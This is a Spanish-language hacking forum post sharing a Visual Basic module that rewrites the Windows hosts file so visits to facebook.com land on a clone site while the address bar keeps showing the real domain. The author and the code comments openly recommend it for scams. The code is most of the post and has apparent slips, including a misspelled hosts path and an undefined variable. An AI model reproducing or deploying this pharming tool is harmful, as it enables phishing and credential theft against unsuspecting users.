HostEditModule by alexander1712

  • 0 Respuestas
  • 3561 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Alex

  • *
  • Moderador Global
  • Mensajes: 873
  • Actividad:
    36.67%
  • Country: 00
  • Reputación 9
    • Ver Perfil
    • MI github
    • Email

HostEditModule by alexander1712

  • en: Enero 26, 2013, 02:58:38 am
mirando en el baul de los recuerdos de mis codes, encontré este:

este es un modulo que nos permite hacer que al entrar a una web redirija a otra, sin mostrarnos un cambio de url, por ejemplo que al entrar a google carge infiernohacker pero siga diciendo "http://google.com"

nuevo proyecto exe standard, borramos el formulario principal, agregamos un modulo y pegamos este codigo:

Código: (vb) [Seleccionar]
'###################################################################
'
'  ####  ####   ####   ####  ####    ##   ##     ## ##     ## #### ####
'  #   # #   # #    # #      #   #  #  #  # #   # # # #   # # #    #   #
'  #   # #   # #    # #      #   # #    # #  ###  # #  ###  # #    #   #
'  ####  ####  #    # #  ##  ####  ###### #   #   # #   #   # #### #   #
'  #     ##    #    # #    # ##    #    # #       # #       # #    #   #
'  #     # #   #    # #    # # #   #    # #       # #       # #    #   #
'  #     #  #   ####   ####  #  #  #    # #       # #       # #### ####
'
'  #####    ##    ##
'  #    #    #    #
'  #    #     #  #
'  #####       ##
'  #    #      ##
'  #    #      ##
'  #####      ####
'
' ##    ##    #     ####  ##    ##  #####   #     ## #     ## #####  #     ##
'  #    #    # #    #   #  #   #   #     #  ##    #  ##    #  #      ##    #
'  #    #   #   #   #   #  #  #    #     #  # #   #  # #   #  #      # #   #
'  ######   #####   ####   ###     #     #  #  #  #  #  #  #  #####  #  #  #
'  #    #   #   #   ##     #  #    #     #  #   # #  #   # #  #      #   # #
'  #    #   #   #   # #    #   #   #     #  #    ##  #    ##  #      #    ##
' ##    ## ##   ## ##  ## ##    ##  #####  ##     # ##     #  ##### ##     #
'
'#####################################################################

'###########################
'#  HostEditModule         #
'# programmed by harkonnen #
'#    INFIERNOHACKER.COM   #
'# (c) 2011                #
'###########################

' &&& detalles &&&

' este modulo hace que al ingresar a una web desde un navegador que use el protocolo TCP/IP de windows, redirija hacia alguna otra web.
' para ello editaremos el archivo HOST de windows.
' ademas demostramos el uso de Environ para obtener el contenido de las variables de enotrno de CMD en este caso Windir

'########### constantes ########
Const Initialpage1 = "facebook.com" 'pagina n° 1 a ser reemplazada
'Const initialpage2 = "hotmail.com"
Const replacepage1 = "facebook.clonesweb.com" 'pagina n° 1 de reemplazo
'const replacepage2 = "hotmail.clonesweb.com"

Public Sub main() 'iniciamos programa
Dim inmemory As String
Dim alex As Long 'usaremos alex como una variable puntero (asi le digo yo)
alex = FreeFile 'aclaramos que alex sera para libre archivo
    Open winrut & "\system32\drivers\etc\host" For Input As #alex 'abrimos el archivo usando la variable alex
        inmemory = Input(LOF(alex), #alex) 'cargamos en la variable inmemory lo que tenga ya el archivo
    Close #alex 'cerramos e archivo que estaba habierto en la variable alex
inmemory = inmemory & replacepage1 & "    " & Initialpage1 & vbCrLf 'agregamos la nueva redireccion
'inmemory = inmemory & replacepage2 & "    " & initialpage2 & vbCrLf ' la segunda redireccion
    Open winrut & "\system32\drivers\etc\host" For Output As #alex 'cargamos de nuevo el archivo en la variable alex solo que esta ves para salida, borrando asi su contenido
        Print #alex, inmemory 'ponemos el archivo modificado
    Close #alex 'cerramos guardando todo.
'asi de simple, modificamos el archivo Host de windows XP para que al ingresar a una página redirija a otra. es bueno para scams y otras cosas...
End Sub

en el ejemplo reemplaza facebook.com por facebook.clonesweb.com xDDD sirve para scams  ::) ::) no se me hagan los lamercillos, es solo un ejemplo.

saludos!
« Última modificación: Mayo 12, 2014, 03:36:57 pm por Expermicid »